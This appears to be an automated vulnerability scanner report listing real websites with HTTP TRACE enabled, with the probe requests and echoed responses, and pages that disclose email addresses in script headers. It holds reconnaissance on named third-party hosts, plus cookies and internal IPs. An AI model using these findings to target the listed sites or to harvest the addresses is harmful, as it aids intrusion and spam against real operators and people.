User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Sat, 14 May 2011 00:42:28 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html
Vary: Accept-Encoding
X-Varnish: 2849045516
Cache-Control: max-age=2557212
Expires: Mon, 13 Jun 2011 00:44:41 GMT
Date: Sat, 14 May 2011 10:24:29 GMT
Connection: close
Content-Length: 14337

<html>
<head>
<meta charset="utf-8">
<title></title>
<script>document.domain = 'disqus.com';</script>

<style type="text/css">
html,body,div,span,applet,object,ifram
...[SNIP]...

<input type="file" name="attachment" onchange="mediaUploadRpc.onUploadStart();this.parentNode.submit();" />
<input type="hidden" name="id" value="" />
...[SNIP]...

22. TRACE method is enabled previous next
There are 21 instances of this issue:

http://amch.questionmarket.com/
http://bh.contextweb.com/
http://bp.specificclick.net/
http://c.statcounter.com/
http://cheetah.vizu.com/
http://fanpeeps.com/
http://idolpeeps.com/
http://images.realestate.wsj.com/
http://midphase.com/
http://mp.apmebf.com/
http://puma.vizu.com/
http://realestate.wsj.com/
http://secure-us.imrworldwide.com/
http://t.mookie1.com/
http://tweetyourpicks.com/
http://urlquery.net/
http://widgets.outbrain.com/
http://www.cerebel.com/
http://www.fanpeeps.com/
http://www.midphase.com/
http://www.smartmoney.com/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

22.1. http://amch.questionmarket.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/

Request

TRACE / HTTP/1.0
Host: amch.questionmarket.com
Cookie: 48fe23835b1804f5

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:07 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: amch.questionmarket.com
Cookie: 48fe23835b1804f5
Connection: Keep-Alive

22.2. http://bh.contextweb.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bh.contextweb.com
Path:	/

Request

TRACE / HTTP/1.0
Host: bh.contextweb.com
Cookie: cb195b6e9a2a7e31

Response

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1
Content-Type: message/http
Content-Length: 130
Date: Sat, 14 May 2011 10:18:57 GMT
Connection: Keep-Alive

TRACE / HTTP/1.0
host: bh.contextweb.com
cookie: cb195b6e9a2a7e31
connection: Keep-Alive
cw-userhostaddress: 173.193.214.243

22.3. http://bp.specificclick.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bp.specificclick.net
Path:	/

Request

TRACE / HTTP/1.0
Host: bp.specificclick.net
Cookie: fbdc50a5f3a1e4ec

Response

HTTP/1.1 200 OK
Server: WebStar 1.0
Content-Type: message/http
Content-Length: 72
Date: Sat, 14 May 2011 10:19:05 GMT
Connection: close

TRACE / HTTP/1.0
host: bp.specificclick.net
cookie: fbdc50a5f3a1e4ec

22.4. http://c.statcounter.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c.statcounter.com
Path:	/

Request

TRACE / HTTP/1.0
Host: c.statcounter.com
Cookie: 73adf1f78240669b

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:32:48 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: c.statcounter.com
Cookie: 73adf1f78240669b

22.5. http://cheetah.vizu.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cheetah.vizu.com
Path:	/

Request

TRACE / HTTP/1.0
Host: cheetah.vizu.com
Cookie: 4a1c1e47b519b7b6

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:30 GMT
Server: PWS/1.7.2.1
X-Px: nc iad-agg-n13 ( origin>CONN)
Content-Length: 354
Content-Type: message/http
Connection: close

TRACE /ie/ HTTP/1.1
Host: adcatalyst.vizu.com
User-Agent: Mozilla/5.0 (compatible; Panther)
Accept: */*
Accept-Encoding: gzip
Via: 1.1 iad-agg-n13.panthercdn.com PWS/1.7.2.1
X-Forwarded-For: 173.193.214.243, 66.114.52.23
X-Forwarded-IP: 173.193.214.243
X-Initial-Url: http://cheetah.vizu.com/
Cookie: 4a1c1e47b519b7b6
Connection: keep-alive

22.6. http://fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Request

TRACE / HTTP/1.0
Host: fanpeeps.com
Cookie: b1f8b03312a6aa81

Response

22.7. http://idolpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://idolpeeps.com
Path:	/

Request

TRACE / HTTP/1.0
Host: idolpeeps.com
Cookie: 2d2a9896cdf23307

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: idolpeeps.com
Cookie: 2d2a9896cdf23307

22.8. http://images.realestate.wsj.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.realestate.wsj.com
Path:	/

Request

TRACE / HTTP/1.0
Host: images.realestate.wsj.com
Cookie: d27686be559ff3be

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:47:46 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: images.realestate.wsj.com
Cookie: d27686be559ff3be
Connection: Keep-Alive
client-ip: 173.193.214.243

22.9. http://midphase.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://midphase.com
Path:	/

Request

TRACE / HTTP/1.0
Host: midphase.com
Cookie: 21dbc6afa171eebe

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:51:51 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: midphase.com
Cookie: 21dbc6afa171eebe

22.10. http://mp.apmebf.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/

Request

TRACE / HTTP/1.0
Host: mp.apmebf.com
Cookie: 5e1037cbee1b3762

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:38 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: mp.apmebf.com
Cookie: 5e1037cbee1b3762
Connection: Keep-Alive

22.11. http://puma.vizu.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://puma.vizu.com
Path:	/

Request

TRACE / HTTP/1.0
Host: puma.vizu.com
Cookie: 45f5b5870bee95d0

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:28 GMT
Server: PWS/1.7.2.1
X-Px: nc iad-agg-n30 ( origin>CONN)
Content-Length: 344
Content-Type: message/http
Connection: close

TRACE / HTTP/1.1
Host: origin.vizu.com
User-Agent: Mozilla/5.0 (compatible; Panther)
Accept: */*
Accept-Encoding: gzip
Via: 1.1 iad-agg-n30.panthercdn.com PWS/1.7.2.1
X-Forwarded-For: 173.193.214.243, 66.114.52.40
X-Forwarded-IP: 173.193.214.243
X-Initial-Url: http://puma.vizu.com/
Cookie: 45f5b5870bee95d0
Connection: keep-alive

22.12. http://realestate.wsj.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/

Request

TRACE / HTTP/1.0
Host: realestate.wsj.com
Cookie: b348b756e4976b78

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:46:26 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: realestate.wsj.com
Cookie: b348b756e4976b78
Connection: Keep-Alive
client-ip: 173.193.214.243

22.13. http://secure-us.imrworldwide.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://secure-us.imrworldwide.com
Path:	/

Request

TRACE / HTTP/1.0
Host: secure-us.imrworldwide.com
Cookie: 26aa5e5efcce743f

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:12 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Cookie: 26aa5e5efcce743f
Host: secure-us.imrworldwide.com

22.14. http://t.mookie1.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.mookie1.com
Path:	/

Request

TRACE / HTTP/1.0
Host: t.mookie1.com
Cookie: 192de12e153f4b35

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:17:20 GMT
Server: Apache/2.0.52 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: t.mookie1.com
Cookie: 192de12e153f4b35
Connection: Keep-Alive
MIG_IP: 173.193.214.243

22.15. http://tweetyourpicks.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tweetyourpicks.com
Path:	/

Request

TRACE / HTTP/1.0
Host: tweetyourpicks.com
Cookie: fdf9af6fe23eb3fe

Response

22.16. http://urlquery.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://urlquery.net
Path:	/

Request

TRACE / HTTP/1.0
Host: urlquery.net
Cookie: 5ba44983efe0d250

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:51:05 GMT
Server: Apache/2.2.17 (Win32)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: urlquery.net
Cookie: 5ba44983efe0d250

22.17. http://widgets.outbrain.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://widgets.outbrain.com
Path:	/

Request

TRACE / HTTP/1.0
Host: widgets.outbrain.com
Cookie: d264c6143519ed78

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:24:25 GMT
Server: Apache
Content-Type: message/http
Accept-Ranges: bytes
Connection: close

TRACE / HTTP/1.1
Cookie: d264c6143519ed78
Accept-Encoding: gzip
Connection: Keep-Alive
Host: static.outbrain.com
x-cdn: Requested by Cotendo
X-Forwarded-For: 173.193.214.243
x-chpd-loop: 1
Via: 1.0 PXY017-ASHB.COTENDO.NET (chpd/3.06.00
...[SNIP]...

22.18. http://www.cerebel.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cerebel.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.cerebel.com
Cookie: d059e4c59e30c163

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:24 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.cerebel.com
Cookie: d059e4c59e30c163

22.19. http://www.fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.fanpeeps.com
Cookie: 99f25c8b98ae9fe3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:43 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.fanpeeps.com
Cookie: 99f25c8b98ae9fe3

22.20. http://www.midphase.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.midphase.com
Cookie: 6435421388f2ce40

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:51:53 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.midphase.com
Cookie: 6435421388f2ce40

22.21. http://www.smartmoney.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.smartmoney.com
Cookie: 553646299d05d47e

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:13:46 GMT
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap01
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /
X-DEBUG-NAMESPACE: com-sm
Set-Cookie: djcs_route=b7b55354-fb33-473a-8a2f-5b672f3c6f68; domain=.smartmoney.com; path=/; Expires=Tue May 11 06:13:46 2021; max-age=315360000
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.smartmoney.com
Cookie: 553646299d05d47e
Connection: Keep-Alive
client-ip: 173.193.214.243
X-REQUEST-SCHEME: http
X-WSJACL-ENV: prod
X-REQUEST-NAMESPACE: com-sm
X-ROUTE-ID: b7b55354-fb33-473a-8a2f-5b672f3c6f68
X-IP-SOURCE: ip-header

...[SNIP]...

23. Email addresses disclosed previous next
There are 53 instances of this issue:

http://allthingsd.com/about/kara-swisher/ethics/
http://commerce.wsj.com/entitlements/release_freereg_rel3/js/j_global_slim.js
http://coretomic.com/CN/script/Validate.js
http://coretomic.com/include/CalendarPopup.js
http://coretomic.com/include/gallery1.js
http://coretomic.com/include/jquery.dimensions.min.js
http://coretomic.com/include/jquery.mousewheel.min.js
https://home.mcafee.com/Scripts/instant_invite/ProActiveChatSmartButton.js
http://i3.marketwatch.com/MW5/content/js/s_code.js
http://js6.ringrevenue.com/6/integration.js
http://json6.ringrevenue.com/v/javascripts/application_.1271776075.js
http://json6.ringrevenue.com/v/stylesheets/ext/Ext.ux.grid.GridSummary.1226448303.css
http://json6.ringrevenue.com/v/stylesheets/ext/ext-all.1252041811.css
http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
http://mediacdn.disqus.com/1305332303/build/system/disqus.js
http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html
http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/public/page/news-career-jobs.html
http://online.wsj.com/public/page/news-real-estate-homes.html
https://order.wsj.com/favicon.ico
https://order.wsj.com/sub/f3
https://order.wsj.com/sub/javascripts/dragdrop.js
http://rea.wsj.net/javascripts/controls.js
http://rea.wsj.net/javascripts/dj-j_global_slim.js
http://rea.wsj.net/javascripts/dragdrop.js
http://s.wsj.net/djscript/j_global.js
https://services.wsj.com/Gryphon/alternateLogin2.dj
https://services.wsj.com/Gryphon/jsp/find_acct.jsp
http://sj.smartmoney.net/smscript/bucket/NA/page/0_0_SA_0001/provided/j_global/version/20110513141138.js
http://sj.smartmoney.net/smscript/bucket/NA/page/0_0_SH_0001/provided/j_global/version/20110512235911.js
http://sj.wsj.net/djscript/bucket/NA_WSJ/page/0_0_WA_0001/provided/j_global_slim/version/20110513080738.js
http://sj.wsj.net/djscript/bucket/NA_WSJ/page/0_0_WA_0002/provided/j_global_slim/version/20110506141003.js
http://sj.wsj.net/djscript/require/j_global_slim/version/20110512230933.js
http://sj.wsj.net/djscript/require/j_global_slim/version/20110513185311.js
http://smartmoney.onespot.com/ism/nextclick_wsjdn/index.js
http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js
http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
http://w.sharethis.com/button/buttons.js
http://www.dinse.com/about_the_firm/Employment.html
http://www.dinse.com/attorneys/knapp.html
http://www.dinse.com/attorneys/mckearin.html
http://www.dinse.com/attorneys/monahan.html
http://www.dinse.com/contact/email.html
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390
http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
http://www.mcafeesecure.com/us/products/buy_now.jsp
https://www.mcafeesecure.com/SignUp.sa
https://www.mcafeesecure.com/us/products/buy_now.jsp
http://www.siteadvisor.com/script/widget.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

23.1. http://allthingsd.com/about/kara-swisher/ethics/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://allthingsd.com
Path:	/about/kara-swisher/ethics/

Issue detail

The following email address was disclosed in the response:

kara@allthingsd.com

Request

Response

23.2. http://commerce.wsj.com/entitlements/release_freereg_rel3/js/j_global_slim.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/entitlements/release_freereg_rel3/js/j_global_slim.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /entitlements/release_freereg_rel3/js/j_global_slim.js HTTP/1.1
Host: commerce.wsj.com
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:05 GMT
Server: Apache
Last-Modified: Tue, 21 Dec 2010 22:16:24 GMT
ETag: "39c9e-fcae3e00"
Accept-Ranges: bytes
Content-Length: 236702
Cache-Control: max-age=21600
Expires: Sat, 14 May 2011 16:12:05 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript

if(typeof dj=="undefined"){dj={};}
if(typeof dj.context=="undefined"){dj.context={};}
if(typeof djConfig=="undefined"){this.djConfig={};}
(function(){var ctx=dj.context,djc=djConfig;ctx.core=(ctx.core
...[SNIP]...
7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"
+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"
+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=
...[SNIP]...

23.3. http://coretomic.com/CN/script/Validate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/CN/script/Validate.js

Issue detail

The following email address was disclosed in the response:

grinka@yandex.ru

Request

GET /CN/script/Validate.js HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Referer: http://coretomic.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c; __utma=251280532.880291708.1305372891.1305372891.1305372891.1; __utmb=251280532; __utmc=251280532; __utmz=251280532.1305372891.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:34:50 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Mon, 05 May 2008 10:52:54 GMT
ETag: "848ef6-3552-44c7988a34d80"
Accept-Ranges: bytes
Content-Length: 13650
Content-Type: application/x-javascript

//    Copyright . Coretomic, 2005

/*
**********************************************************
*
*    A complete form input validation class
*
*    compiled by Alexey aka grinka.
*    grinka@yandex.ru
*
*    version 1.12
*
**********************************************************
*/
var LANG_ENGLISH = 0;
var LANG_RUSSIAN = 1;

oV = Validator.prototype;
oV.setFormName = v_setFormName;
oV.se
...[SNIP]...

23.4. http://coretomic.com/include/CalendarPopup.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/include/CalendarPopup.js

Issue detail

The following email address was disclosed in the response:

matt@mattkruse.com

Request

GET /include/CalendarPopup.js HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Referer: http://coretomic.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:34:46 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Tue, 18 Mar 2008 14:07:17 GMT
ETag: "8503cc-fe3d-448b6a76c8f40"
Accept-Ranges: bytes
Content-Length: 65085
Content-Type: application/x-javascript

// ===================================================================
// Author: Matt Kruse <matt@mattkruse.com>
// WWW: http://www.mattkruse.com/
//
// NOTICE: You may use this code for any purp
...[SNIP]...

23.5. http://coretomic.com/include/gallery1.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/include/gallery1.js

Issue detail

The following email address was disclosed in the response:

max@coretomic.com

Request

GET /include/gallery1.js HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Referer: http://coretomic.com/epay.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c; __utma=251280532.880291708.1305372891.1305372891.1305372891.1; __utmc=251280532; __utmz=251280532.1305372891.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=251280532

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:35:15 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Wed, 03 Sep 2008 16:19:38 GMT
ETag: "8503e8-1d0b-4560033ecfa80"
Accept-Ranges: bytes
Content-Length: 7435
Content-Type: application/x-javascript

// JavaScript Document @Coretomic 2008 max@coretomic.com

function MoveLeft(){
   if(Gallery.lock)return;
   Gallery.lock = true;
   Gallery.AddToRight();
   Gallery.MoveLeft(10);

}
function MoveRight(){
   if(Gallery.lock)return;
   Gallery.lock = true;

...[SNIP]...

23.6. http://coretomic.com/include/jquery.dimensions.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/include/jquery.dimensions.min.js

Issue detail

The following email addresses were disclosed in the response:

brandon.aaron@gmail.com
paul.bakaus@googlemail.com

Request

GET /include/jquery.dimensions.min.js HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Referer: http://coretomic.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:34:48 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Mon, 11 Feb 2008 00:23:00 GMT
ETag: "850407-9d2-445d6f1452100"
Accept-Ranges: bytes
Content-Length: 2514
Content-Type: application/x-javascript

/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...

23.7. http://coretomic.com/include/jquery.mousewheel.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/include/jquery.mousewheel.min.js

Issue detail

The following email address was disclosed in the response:

brandon.aaron@gmail.com

Request

GET /include/jquery.mousewheel.min.js HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Referer: http://coretomic.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:34:48 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Wed, 20 Jun 2007 15:25:00 GMT
ETag: "850082-938-4335808864b00"
Accept-Ranges: bytes
Content-Length: 2360
Content-Type: application/x-javascript

/* Copyright (c) 2006 Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
* Thanks to:
...[SNIP]...

23.8. https://home.mcafee.com/Scripts/instant_invite/ProActiveChatSmartButton.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.mcafee.com
Path:	/Scripts/instant_invite/ProActiveChatSmartButton.js

Issue detail

The following email address was disclosed in the response:

sales@instantservice.com

Request

GET /Scripts/instant_invite/ProActiveChatSmartButton.js HTTP/1.1
Host: home.mcafee.com
Connection: keep-alive
Referer: https://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
